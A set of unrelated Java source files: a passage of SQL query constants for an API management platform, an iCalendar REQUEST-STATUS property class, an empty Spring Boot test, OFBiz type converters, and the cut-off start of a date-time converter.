"DELETE FROM AM_BLOCK_CONDITIONS WHERE CONDITION_ID=?";
public static final String DELETE_BLOCK_CONDITION_BY_UUID_SQL =
"DELETE FROM AM_BLOCK_CONDITIONS WHERE UUID=?";
public static final String BLOCK_CONDITION_EXIST_SQL =
"SELECT CONDITION_ID,TYPE,VALUE,ENABLED,DOMAIN,UUID FROM AM_BLOCK_CONDITIONS WHERE DOMAIN =? AND TYPE =? " +
"AND VALUE =?";
public static final String GET_SUBSCRIPTION_BLOCK_CONDITION_BY_VALUE_AND_DOMAIN_SQL =
"SELECT CONDITION_ID,TYPE,VALUE,ENABLED,DOMAIN,UUID FROM AM_BLOCK_CONDITIONS WHERE VALUE = ? AND DOMAIN = ? ";
public static final String TIER_HAS_SUBSCRIPTION = " select count(sub.TIER_ID) as c from AM_SUBSCRIPTION sub, AM_API api "
+ " where sub.TIER_ID = ? and api.API_PROVIDER like ? and sub.API_ID = api.API_ID ";
public static final String TIER_ATTACHED_TO_RESOURCES_API = " select sum(c) as c from("
+ " (select count(api.API_TIER) as c from AM_API api where api.API_TIER = ? and api.API_PROVIDER like ? )"
+ " union "
+ " (select count(map.THROTTLING_TIER) as c from AM_API_URL_MAPPING map, AM_API api"
+ " where map.THROTTLING_TIER = ? and api.API_PROVIDER like ? and map.API_ID = api.API_ID)) x ";
public static final String TIER_ATTACHED_TO_APPLICATION = " SELECT count(APPLICATION_TIER) as c FROM AM_APPLICATION where APPLICATION_TIER = ? ";
public static final String GET_TIERS_WITH_BANDWIDTH_QUOTA_TYPE_SQL = "SELECT NAME "
+ "FROM AM_API_THROTTLE_POLICY LEFT JOIN AM_CONDITION_GROUP "
+ "ON AM_API_THROTTLE_POLICY.POLICY_ID = AM_CONDITION_GROUP.POLICY_ID "
+ "WHERE "
+ "(DEFAULT_QUOTA_TYPE = '" + QUOTA_TYPE_BANDWIDTH + "' OR QUOTA_TYPE = '"+ QUOTA_TYPE_BANDWIDTH + "') "
+ "AND TENANT_ID = ?";
}
public static class CertificateConstants {
public static final String INSERT_CERTIFICATE = "INSERT INTO AM_CERTIFICATE_METADATA " +
"(TENANT_ID, END_POINT, ALIAS) VALUES(?, ?, ?)";
public static final String GET_CERTIFICATES = "SELECT * FROM AM_CERTIFICATE_METADATA WHERE TENANT_ID=?";
public static final String GET_CERTIFICATE_ALL_TENANTS = "SELECT * FROM AM_CERTIFICATE_METADATA WHERE " +
"(ALIAS=?)";
public static final String GET_CERTIFICATE_TENANT = "SELECT * FROM AM_CERTIFICATE_METADATA WHERE TENANT_ID=? " +
"AND (ALIAS=? OR END_POINT=?)";
public static final String DELETE_CERTIFICATES = "DELETE FROM AM_CERTIFICATE_METADATA WHERE TENANT_ID=? " +
"AND ALIAS=?";
public static final String CERTIFICATE_COUNT_QUERY = "SELECT COUNT(*) AS count FROM AM_CERTIFICATE_METADATA " +
"WHERE TENANT_ID=?";
public static final String SELECT_CERTIFICATE_FOR_ALIAS = "SELECT * FROM AM_CERTIFICATE_METADATA "
+ "WHERE ALIAS=?";
}
public static class ClientCertificateConstants{
public static final String INSERT_CERTIFICATE = "INSERT INTO AM_API_CLIENT_CERTIFICATE " +
"(CERTIFICATE, TENANT_ID, ALIAS, API_ID, TIER_NAME) VALUES(?, ?, ?, ?, ?)";
public static final String GET_CERTIFICATES_FOR_API = "SELECT ALIAS FROM AM_API_CLIENT_CERTIFICATE WHERE "
+ "TENANT_ID=? and API_ID=? and REMOVED=?";
public static final String DELETE_CERTIFICATES_FOR_API = "DELETE FROM AM_API_CLIENT_CERTIFICATE "
+ "WHERE TENANT_ID=? and API_ID=? and REMOVED=?";
public static final String SELECT_CERTIFICATE_FOR_ALIAS = "SELECT ALIAS FROM AM_API_CLIENT_CERTIFICATE "
+ "WHERE ALIAS=? AND REMOVED=? AND TENANT_ID =?";
public static final String SELECT_CERTIFICATE_FOR_TENANT =
"SELECT AC.CERTIFICATE, AC.ALIAS, AC.TIER_NAME, AA.API_PROVIDER, AA.API_NAME, "
+ "AA.API_VERSION FROM AM_API_CLIENT_CERTIFICATE AC, AM_API AA "
+ "WHERE AC.REMOVED=? AND AC.TENANT_ID=? AND AA.API_ID=AC.API_ID";
public static final String SELECT_CERTIFICATE_FOR_TENANT_ALIAS =
"SELECT AC.CERTIFICATE, AC.ALIAS, AC.TIER_NAME, AA.API_PROVIDER, AA.API_NAME, AA.API_VERSION "
+ "FROM AM_API_CLIENT_CERTIFICATE AC, AM_API AA "
+ "WHERE AC.REMOVED=? AND AC.TENANT_ID=? AND AC.ALIAS=? AND AA.API_ID=AC.API_ID";
public static final String SELECT_CERTIFICATE_FOR_TENANT_ALIAS_APIID =
"SELECT AC.CERTIFICATE, AC.ALIAS, AC.TIER_NAME FROM AM_API_CLIENT_CERTIFICATE AC "
+ "WHERE AC.REMOVED=? AND AC.TENANT_ID=? AND AC.ALIAS=? AND AC.API_ID = ?";
public static final String SELECT_CERTIFICATE_FOR_TENANT_APIID =
"SELECT AC.CERTIFICATE, AC.ALIAS, AC.TIER_NAME FROM AM_API_CLIENT_CERTIFICATE AC "
+ "WHERE AC.REMOVED=? AND AC.TENANT_ID=? AND AC.API_ID=?";
public static final String PRE_DELETE_CERTIFICATES = "DELETE FROM AM_API_CLIENT_CERTIFICATE "
+ "WHERE TENANT_ID=? AND REMOVED=? ANd ALIAS=? AND API_ID=?";
public static final String PRE_DELETE_CERTIFICATES_WITHOUT_APIID = "DELETE FROM AM_API_CLIENT_CERTIFICATE "
+ "WHERE TENANT_ID=? AND REMOVED=? and ALIAS=?";
public static final String DELETE_CERTIFICATES = "UPDATE AM_API_CLIENT_CERTIFICATE SET REMOVED = ? "
+ "WHERE TENANT_ID=? AND ALIAS=? AND API_ID=?";
public static final String DELETE_CERTIFICATES_WITHOUT_APIID = "UPDATE AM_API_CLIENT_CERTIFICATE SET REMOVED=? "
+ "WHERE TENANT_ID=? AND ALIAS=?";
public static final String CERTIFICATE_COUNT_QUERY = "SELECT COUNT(*) AS count FROM AM_API_CLIENT_CERTIFICATE " +
"WHERE TENANT_ID=? AND REMOVED=?";
}
/**
* Static class to hold database queries related to AM_SYSTEM_APPS table
*/
public static class SystemApplicationConstants {
public static final String INSERT_SYSTEM_APPLICATION =
"INSERT INTO AM_SYSTEM_APPS " + "(NAME,CONSUMER_KEY,CONSUMER_SECRET,TENANT_DOMAIN,CREATED_TIME) " +
"VALUES (?,?,?,?,?)";
public static final String GET_APPLICATIONS =
"SELECT * FROM " + "AM_SYSTEM_APPS WHERE TENANT_DOMAIN = ?";
public static final String GET_CLIENT_CREDENTIALS_FOR_APPLICATION =
"SELECT CONSUMER_KEY,CONSUMER_SECRET FROM " + "AM_SYSTEM_APPS WHERE NAME = ? AND TENANT_DOMAIN = ?";
public static final String DELETE_SYSTEM_APPLICATION = "DELETE FROM AM_SYSTEM_APPS WHERE NAME = ? AND " +
"TENANT_DOMAIN = ?";
public static final String CHECK_CLIENT_CREDENTIALS_EXISTS = "SELECT CONSUMER_KEY,CONSUMER_SECRET " +
"FROM AM_SYSTEM_APPS WHERE NAME = ? AND TENANT_DOMAIN = ?";
}
public static class BotDataConstants {
public static final String ADD_NOTIFICATION = "INSERT INTO AM_NOTIFICATION_SUBSCRIBER (UUID, CATEGORY," +
"NOTIFICATION_METHOD, SUBSCRIBER_ADDRESS) VALUES(?,?,?,?)";
public static final String GET_SAVED_ALERT_EMAILS =
" SELECT UUID, SUBSCRIBER_ADDRESS FROM AM_NOTIFICATION_SUBSCRIBER";
public static final String DELETE_EMAIL_BY_UUID =
"DELETE FROM AM_NOTIFICATION_SUBSCRIBER WHERE UUID= ?";
public static final String GET_ALERT_SUBSCRIPTION_BY_UUID =
"SELECT UUID, SUBSCRIBER_ADDRESS FROM AM_NOTIFICATION_SUBSCRIBER WHERE UUID = ?";
public static final String GET_ALERT_SUBSCRIPTION_BY_EMAIL =
"SELECT UUID, SUBSCRIBER_ADDRESS FROM AM_NOTIFICATION_SUBSCRIBER WHERE SUBSCRIBER_ADDRESS = ?";
public static final String GET_BOT_DETECTED_DATA =
"from AM_BOT_DATA SELECT request_time, message_id, http_method, headers, message_body, client_ip";
}
public static class RevokedJWTConstants {
public static final String ADD_JWT_SIGNATURE = "INSERT INTO AM_REVOKED_JWT (UUID, SIGNATURE," +
"EXPIRY_TIMESTAMP, TENANT_ID, TOKEN_TYPE) VALUES(?,?,?,?,?)";
public static final String CHECK_REVOKED_TOKEN_EXIST = "SELECT 1 FROM AM_REVOKED_JWT WHERE UUID = ?";
public static final String DELETE_REVOKED_JWT = "DELETE FROM AM_REVOKED_JWT WHERE EXPIRY_TIMESTAMP < ?";
}
//Shared Scopes related constants
public static final String ADD_SHARED_SCOPE = "INSERT INTO AM_SHARED_SCOPE (NAME, UUID, TENANT_ID) VALUES (?,?,?)";
public static final String DELETE_SHARED_SCOPE = "DELETE FROM AM_SHARED_SCOPE WHERE NAME = ? AND TENANT_ID = ?";
public static final String GET_SHARED_SCOPE_BY_UUID = "SELECT NAME FROM AM_SHARED_SCOPE WHERE UUID = ?";
public static final String GET_ALL_SHARED_SCOPE_KEYS_BY_TENANT = "SELECT NAME FROM AM_SHARED_SCOPE " +
"WHERE TENANT_ID = ?";
public static final String IS_SHARED_SCOPE_NAME_EXISTS = "SELECT 1 FROM AM_SHARED_SCOPE " +
"WHERE TENANT_ID = ? AND NAME = ?";
public static final String GET_ALL_SHARED_SCOPES_BY_TENANT = "SELECT UUID, NAME FROM AM_SHARED_SCOPE " +
"WHERE TENANT_ID = ?";
public static final String GET_SHARED_SCOPE_USAGE_COUNT_BY_TENANT =
"SELECT SS.NAME, SS.UUID, "
+ "(SELECT COUNT(*) FROM AM_API_RESOURCE_SCOPE_MAPPING RSM WHERE RSM.SCOPE_NAME=SS.NAME AND "
+ "RSM.TENANT_ID = ?) usages "
+ "FROM AM_SHARED_SCOPE SS "
+ "WHERE SS.TENANT_ID = ?";
public static final String GET_SHARED_SCOPE_API_USAGE_BY_TENANT =
"SELECT AA.API_ID, AA.API_NAME, AA.CONTEXT, AA.API_VERSION, AA.API_PROVIDER "
+ "FROM AM_SHARED_SCOPE ASSC, AM_API_RESOURCE_SCOPE_MAPPING AARSM, "
+ "AM_API_URL_MAPPING AAUM, AM_API AA "
+ "WHERE ASSC.NAME=AARSM.SCOPE_NAME AND "
+ "AARSM.URL_MAPPING_ID=AAUM.URL_MAPPING_ID AND "
+ "AAUM.API_ID=AA.API_ID AND "
+ "ASSC.UUID=? AND "
+ "AARSM.TENANT_ID=? "
+ "GROUP BY AA.API_ID, AA.API_NAME, AA.CONTEXT, AA.API_VERSION, AA.API_PROVIDER";
public static final String GET_SHARED_SCOPE_URI_USAGE_BY_TENANT =
"SELECT AAUM.URL_PATTERN, AAUM.HTTP_METHOD "
+ "FROM AM_SHARED_SCOPE ASSC, AM_API_RESOURCE_SCOPE_MAPPING AARSM, "
+ "AM_API_URL_MAPPING AAUM, AM_API AA "
+ "WHERE ASSC.NAME=AARSM.SCOPE_NAME AND "
+ "AARSM.URL_MAPPING_ID=AAUM.URL_MAPPING_ID AND "
+ "AAUM.API_ID=AA.API_ID AND "
+ "ASSC.UUID=? AND "
+ "AARSM.TENANT_ID=? AND "
+ "AA.API_ID=?";
//Resource Scope related constants
public static final String ADD_API_RESOURCE_SCOPE_MAPPING =
"INSERT INTO AM_API_RESOURCE_SCOPE_MAPPING (SCOPE_NAME, URL_MAPPING_ID, TENANT_ID) VALUES (?, ?, ?)";
public static final String IS_SCOPE_ATTACHED_LOCALLY =
"SELECT AM_API.API_NAME, AM_API.API_PROVIDER "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM, AM_API_URL_MAPPING AUM, AM_API "
+ "WHERE ARSM.SCOPE_NAME = ? AND "
+ "ARSM.TENANT_ID = ? AND "
+ "ARSM.SCOPE_NAME NOT IN (SELECT GS.NAME FROM AM_SHARED_SCOPE GS WHERE GS.TENANT_ID = ?) AND "
+ "ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID AND "
+ "AUM.API_ID = AM_API.API_ID";
public static final String IS_SCOPE_ATTACHED =
"SELECT 1 FROM AM_API_RESOURCE_SCOPE_MAPPING WHERE SCOPE_NAME = ? AND TENANT_ID = ?";
public static final String REMOVE_RESOURCE_SCOPE_URL_MAPPING_SQL =
" DELETE FROM AM_API_RESOURCE_SCOPE_MAPPING "
+ "WHERE URL_MAPPING_ID IN ( SELECT URL_MAPPING_ID FROM AM_API_URL_MAPPING WHERE API_ID = ? )";
public static final String GET_UNVERSIONED_LOCAL_SCOPES_FOR_API_SQL =
"SELECT DISTINCT ARSM.SCOPE_NAME "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM INNER JOIN AM_API_URL_MAPPING AUM "
+ "ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID "
+ "WHERE AUM.API_ID = ? AND ARSM.TENANT_ID = ? AND "
+ "ARSM.SCOPE_NAME NOT IN (SELECT GS.NAME FROM AM_SHARED_SCOPE GS WHERE GS.TENANT_ID = ?) AND "
+ "ARSM.SCOPE_NAME NOT IN ( "
+ "SELECT ARSM2.SCOPE_NAME FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM2 "
+ "INNER JOIN AM_API_URL_MAPPING AUM2 ON ARSM2.URL_MAPPING_ID = AUM2.URL_MAPPING_ID "
+ "WHERE AUM2.API_ID != ? AND ARSM2.TENANT_ID = ?)";
public static final String GET_VERSIONED_LOCAL_SCOPES_FOR_API_SQL =
"SELECT DISTINCT ARSM.SCOPE_NAME "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM INNER JOIN AM_API_URL_MAPPING AUM "
+ "ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID "
+ "WHERE AUM.API_ID = ? AND ARSM.TENANT_ID = ? AND "
+ "ARSM.SCOPE_NAME NOT IN (SELECT GS.NAME FROM AM_SHARED_SCOPE GS WHERE GS.TENANT_ID = ?) AND "
+ "ARSM.SCOPE_NAME IN ( "
+ "SELECT ARSM2.SCOPE_NAME FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM2 "
+ "INNER JOIN AM_API_URL_MAPPING AUM2 ON ARSM2.URL_MAPPING_ID = AUM2.URL_MAPPING_ID "
+ "WHERE AUM2.API_ID != ? AND ARSM2.TENANT_ID = ?)";
public static final String GET_ALL_LOCAL_SCOPES_FOR_API_SQL =
"SELECT DISTINCT ARSM.SCOPE_NAME "
+ "FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM INNER JOIN AM_API_URL_MAPPING AUM "
+ "ON ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID "
+ "WHERE AUM.API_ID = ? AND ARSM.TENANT_ID = ? AND "
+ "ARSM.SCOPE_NAME NOT IN (SELECT GS.NAME FROM AM_SHARED_SCOPE GS WHERE GS.TENANT_ID = ?)";
public static final String GET_URL_TEMPLATES_WITH_SCOPES_FOR_API_SQL =
" SELECT AUM.URL_MAPPING_ID, "
+ "AUM.URL_PATTERN, "
+ "AUM.HTTP_METHOD, "
+ "AUM.AUTH_SCHEME, "
+ "AUM.THROTTLING_TIER, "
+ "AUM.MEDIATION_SCRIPT, "
+ "ARSM.SCOPE_NAME "
+ "FROM "
+ "AM_API_URL_MAPPING AUM "
+ "INNER JOIN AM_API_RESOURCE_SCOPE_MAPPING ARSM ON AUM.URL_MAPPING_ID = ARSM.URL_MAPPING_ID "
+ "AND AUM.API_ID = ?";
public static final String GET_API_SCOPES_SQL =
" SELECT ARSM.SCOPE_NAME FROM AM_API_RESOURCE_SCOPE_MAPPING ARSM, AM_API_URL_MAPPING AUM "
+ "WHERE ARSM.URL_MAPPING_ID = AUM.URL_MAPPING_ID AND AUM.API_ID = ?";
/**
* Static class to hold database queries related to key management.
*/
public static class KeyMgtConstants {
}
public static class KeyManagerSqlConstants {
public static final String ADD_KEY_MANAGER =
" INSERT INTO AM_KEY_MANAGER (UUID,NAME,DESCRIPTION,TYPE,CONFIGURATION,TENANT_DOMAIN,ENABLED," +
"DISPLAY_NAME) VALUES (?,?,?,?,?,?,?,?)";
public static final String UPDATE_KEY_MANAGER =
"UPDATE AM_KEY_MANAGER SET NAME = ?,DESCRIPTION = ?,TYPE = ?,CONFIGURATION = ?,TENANT_DOMAIN = ?," +
"ENABLED = ?,DISPLAY_NAME = ? WHERE UUID = ?";
public static final String DELETE_KEY_MANAGER =
"DELETE FROM AM_KEY_MANAGER WHERE UUID = ? AND TENANT_DOMAIN = ?";
}
/**
* Static class to hold database queries related to AM_TENANT_THEMES table
*/
public static class TenantThemeConstants {
public static final String ADD_TENANT_THEME = "INSERT INTO AM_TENANT_THEMES (TENANT_ID, THEME) VALUES (?,?)";
public static final String UPDATE_TENANT_THEME = "UPDATE AM_TENANT_THEMES SET THEME = ? WHERE TENANT_ID = ?";
public static final String DELETE_TENANT_THEME = "DELETE FROM AM_TENANT_THEMES WHERE TENANT_ID = ?";
public static final String GET_TENANT_THEME = "SELECT * FROM AM_TENANT_THEMES WHERE TENANT_ID = ?";
}
}
|
/**
* Copyright (c) 2011-2021, JFXtras
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* Neither the name of the organization nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL JFXTRAS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package jfxtras.icalendarfx.properties.component.misc;
import java.text.DecimalFormat;
import jfxtras.icalendarfx.components.VEvent;
import jfxtras.icalendarfx.components.VFreeBusy;
import jfxtras.icalendarfx.components.VJournal;
import jfxtras.icalendarfx.components.VTodo;
import jfxtras.icalendarfx.properties.PropBaseLanguage;
/**
* REQUEST-STATUS
* RFC 5545, 3.8.8.3, page 141
*
* This property defines the status code returned for a scheduling request.
*
* Examples:
* REQUEST-STATUS:2.0;Success
* REQUEST-STATUS:3.1;Invalid property value;DTSTART:96-Apr-01
*
* @author David Bal
*
* The property can be specified in following components:
* @see VEvent
* @see VTodo
* @see VJournal
* @see VFreeBusy
*/
public class RequestStatus extends PropBaseLanguage<String, RequestStatus>
{
/** Hierarchical, numeric return status code
*
+--------+----------------------------------------------------------+
| Short | Longer Return Status Description |
| Return | |
| Status | |
| Code | |
+--------+----------------------------------------------------------+
| 1.xx | Preliminary success. This class of status code |
| | indicates that the request has been initially processed |
| | but that completion is pending. |
| | |
| 2.xx | Successful. This class of status code indicates that |
| | the request was completed successfully. However, the |
| | exact status code can indicate that a fallback has been |
| | taken. |
| | |
| 3.xx | Client Error. This class of status code indicates that |
| | the request was not successful. The error is the result |
| | of either a syntax or a semantic error in the client- |
| | formatted request. Request should not be retried until |
| | the condition in the request is corrected. |
| | |
| 4.xx | Scheduling Error. This class of status code indicates |
| | that the request was not successful. Some sort of error |
| | occurred within the calendaring and scheduling service, |
| | not directly related to the request itself. |
+--------+----------------------------------------------------------+
*/
// TODO - APPLY RULES FROM RFC 5546 TO CREATE CORRECT STATUS CODES
public Double getStatusCode() { return statusCode; }
private Double statusCode;
public void setStatusCode(Double statusCode)
{
this.statusCode = statusCode;
updateValue();
}
public RequestStatus withStatusCode(Double statusCode) { setStatusCode(statusCode); return this; }
private final static DecimalFormat DECIMAL_FORMAT = new DecimalFormat("#.0#");
/** Textual status description */
public String getDescription() { return description; }
private String description;
public void setDescription(String description)
{
this.description = description;
updateValue();
}
public RequestStatus withDescription(String description) { setDescription(description); return this; }
/** Textual exception data. For example, the offending property name and value or complete property line. */
public String getException() { return exception; }
private String exception;
public void setException(String exception) { this.exception = exception; }
public RequestStatus withException(String exception) { setException(exception); return this; }
public RequestStatus(RequestStatus source)
{
super(source);
}
public RequestStatus()
{
super();
}
/** Applies string converter only to description and exception parts of the RequestStatus property
* This leaves the semicolon delimiters unescaped
*/
@Override
protected String valueContent()
{
StringBuilder builder = new StringBuilder(100);
builder.append(DECIMAL_FORMAT.format(getStatusCode()) + ";");
builder.append(getConverter().toString(getDescription()));
if (getException() != null)
{
builder.append(";" + getConverter().toString(getException()));
}
return builder.toString();
}
@Override
public void setValue(String value)
{
super.setValue(value);
int codeIndex = value.indexOf(';');
setStatusCode(Double.parseDouble(value.substring(0, codeIndex)));
int descriptionIndex = value.indexOf(';',codeIndex+1);
if (descriptionIndex > 0)
{
setDescription(value.substring(codeIndex+1, descriptionIndex));
setException(value.substring(descriptionIndex+1));
} else
{
setDescription(value.substring(codeIndex+1));
}
}
private void updateValue()
{
StringBuilder builder = new StringBuilder(100);
builder.append(DECIMAL_FORMAT.format(getStatusCode()) + ";");
builder.append(getDescription());
if (getException() != null)
{
builder.append(";" + getException());
}
super.setValue(builder.toString());
}
public static RequestStatus parse(String content)
{
return RequestStatus.parse(new RequestStatus(), content);
}
}
|
package com.murillo.produtoapi;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class ProdutoApiApplicationTests {
@Test
void contextLoads() {
}
}
|
/*******************************************************************************
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*******************************************************************************/
package org.ofbiz.base.conversion;
import org.ofbiz.base.util.UtilGenerics;
import org.ofbiz.base.util.UtilMisc;
import java.io.IOException;
import java.io.Reader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.sql.Blob;
import java.sql.Clob;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.UUID;
import java.util.regex.Pattern;
/** Miscellaneous Converter classes. */
public class MiscConverters implements ConverterLoader {
public static final int CHAR_BUFFER_SIZE = 4096;
public static class BlobToBlob extends AbstractConverter<Blob, Blob> {
public BlobToBlob() {
super(Blob.class, Blob.class);
}
public Blob convert(Blob obj) throws ConversionException {
try {
return new javax.sql.rowset.serial.SerialBlob(obj.getBytes(1, (int) obj.length()));
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class BlobToByteArray extends AbstractConverter<Blob, byte[]> {
public BlobToByteArray() {
super(Blob.class, byte[].class);
}
public byte[] convert(Blob obj) throws ConversionException {
try {
return obj.getBytes(1, (int) obj.length());
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class ByteArrayToBlob extends AbstractConverter<byte[], Blob> {
public ByteArrayToBlob() {
super(byte[].class, Blob.class);
}
public Blob convert(byte[] obj) throws ConversionException {
try {
return new javax.sql.rowset.serial.SerialBlob(obj);
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class ByteBufferToByteArray extends AbstractConverter<ByteBuffer, byte[]> {
public ByteBufferToByteArray() {
super(ByteBuffer.class, byte[].class);
}
public byte[] convert(ByteBuffer obj) throws ConversionException {
try {
return obj.hasArray() ? obj.array() : null;
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class ByteArrayToByteBuffer extends AbstractConverter<byte[], ByteBuffer> {
public ByteArrayToByteBuffer() {
super(byte[].class, ByteBuffer.class);
}
public ByteBuffer convert(byte[] obj) throws ConversionException {
try {
return ByteBuffer.wrap(obj);
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class ClobToString extends AbstractConverter<Clob, String> {
public ClobToString() {
super(Clob.class, String.class);
}
public String convert(Clob obj) throws ConversionException {
StringBuilder strBuf = new StringBuilder();
char[] inCharBuffer = new char[CHAR_BUFFER_SIZE];
int charsRead = 0;
Reader clobReader = null;
try {
clobReader = obj.getCharacterStream();
while ((charsRead = clobReader.read(inCharBuffer, 0, CHAR_BUFFER_SIZE)) > 0) {
strBuf.append(inCharBuffer, 0, charsRead);
}
} catch (Exception e) {
throw new ConversionException(e);
}
finally {
if (clobReader != null) {
try {
clobReader.close();
} catch (IOException e) {}
}
}
return strBuf.toString();
}
}
public static class EnumToString extends AbstractConverter<Enum<?>, String> {
public EnumToString() {
super(Enum.class, String.class);
}
@Override
public boolean canConvert(Class<?> sourceClass, Class<?> targetClass) {
return Enum.class.isAssignableFrom(sourceClass) && String.class.isAssignableFrom(targetClass);
}
public String convert(Enum<?> obj) throws ConversionException {
return obj.name();
}
@Override
public String convert(Class<? extends String> targetClass, Enum<?> obj) throws ConversionException {
return convert(obj);
}
@Override
public Class<? super Enum<?>> getSourceClass() {
return null;
}
}
public static class StringToEnumConverterCreator<E extends Enum<E>> implements ConverterCreator, ConverterLoader {
public void loadConverters() {
Converters.registerCreator(this);
}
public <S, T> Converter<S, T> createConverter(Class<S> sourceClass, Class<T> targetClass) {
if (String.class == sourceClass && Enum.class.isAssignableFrom(targetClass)) {
return UtilGenerics.cast(new StringToEnum<E>());
} else {
return null;
}
}
}
private static class StringToEnum<E extends Enum<E>> extends AbstractConverter<String, E> {
public StringToEnum() {
super(String.class, Enum.class);
}
@Override
public boolean canConvert(Class<?> sourceClass, Class<?> targetClass) {
return String.class.isAssignableFrom(sourceClass) && Enum.class.isAssignableFrom(targetClass);
}
public E convert(String obj) throws ConversionException {
throw new UnsupportedOperationException();
}
@Override
public E convert(Class<? extends E> targetClass, String obj) throws ConversionException {
return Enum.valueOf(UtilGenerics.<Class<E>>cast(targetClass), obj);
}
@Override
public Class<? super Enum<?>> getTargetClass() {
return null;
}
}
public static class LocaleToString extends AbstractConverter<Locale, String> {
public LocaleToString() {
super(Locale.class, String.class);
}
public String convert(Locale obj) throws ConversionException {
return obj.toString();
}
}
public static class StringToClob extends AbstractConverter<String, Clob> {
public StringToClob() {
super(String.class, Clob.class);
}
public Clob convert(String obj) throws ConversionException {
try {
return new javax.sql.rowset.serial.SerialClob(obj.toCharArray());
} catch (Exception e) {
throw new ConversionException(e);
}
}
}
public static class StringToLocale extends AbstractConverter<String, Locale> {
public StringToLocale() {
super(String.class, Locale.class);
}
public Locale convert(String obj) throws ConversionException {
Locale loc = UtilMisc.parseLocale(obj);
if (loc != null) {
return loc;
} else {
throw new ConversionException("Could not convert " + obj + " to Locale: ");
}
}
}
public static class DecimalFormatToString extends AbstractConverter<DecimalFormat, String> {
public DecimalFormatToString() {
super(DecimalFormat.class, String.class);
}
public String convert(DecimalFormat obj) throws ConversionException {
return obj.toPattern();
}
}
public static class StringToDecimalFormat extends AbstractConverter<String, DecimalFormat> {
public StringToDecimalFormat() {
super(String.class, DecimalFormat.class);
}
public DecimalFormat convert(String obj) throws ConversionException {
return new DecimalFormat(obj);
}
}
public static class SimpleDateFormatToString extends AbstractConverter<SimpleDateFormat, String> {
public SimpleDateFormatToString() {
super(SimpleDateFormat.class, String.class);
}
public String convert(SimpleDateFormat obj) throws ConversionException {
return obj.toPattern();
}
}
public static class StringToSimpleDateFormat extends AbstractConverter<String, SimpleDateFormat> {
public StringToSimpleDateFormat() {
super(String.class, SimpleDateFormat.class);
}
public SimpleDateFormat convert(String obj) throws ConversionException {
return new SimpleDateFormat(obj);
}
}
public static class CharsetToString extends AbstractConverter<Charset, String> {
public CharsetToString() {
super(Charset.class, String.class);
}
public String convert(Charset obj) throws ConversionException {
return obj.name();
}
}
public static class StringToCharset extends AbstractConverter<String, Charset> {
public StringToCharset() {
super(String.class, Charset.class);
}
public Charset convert(String obj) throws ConversionException {
return Charset.forName(obj);
}
}
public static class UUIDToString extends AbstractConverter<UUID, String> {
public UUIDToString() {
super(UUID.class, String.class);
}
public String convert(UUID obj) throws ConversionException {
return obj.toString();
}
}
public static class StringToUUID extends AbstractConverter<String, UUID> {
public StringToUUID() {
super(String.class, UUID.class);
}
public UUID convert(String obj) throws ConversionException {
return UUID.fromString(obj);
}
}
public static class RegexPatternToString extends AbstractConverter<Pattern, String> {
public RegexPatternToString() {
super(Pattern.class, String.class);
}
public String convert(Pattern obj) throws ConversionException {
return obj.toString();
}
}
public static class StringToRegexPattern extends AbstractConverter<String, Pattern> {
public StringToRegexPattern() {
super(String.class, Pattern.class);
}
public Pattern convert(String obj) throws ConversionException {
return Pattern.compile(obj);
}
}
public static class NotAConverter_Helper {
protected NotAConverter_Helper() {
throw new Error("Should not be loaded");
}
}
public static class NotAConverter {
public NotAConverter() {
}
}
public void loadConverters() {
Converters.loadContainedConverters(MiscConverters.class);
}
}
|
package com.silaev.analytics.util;
import org.springframework.stereotype.Component;
import java.time.Instant;
@Component
public class DateTimeConverter {
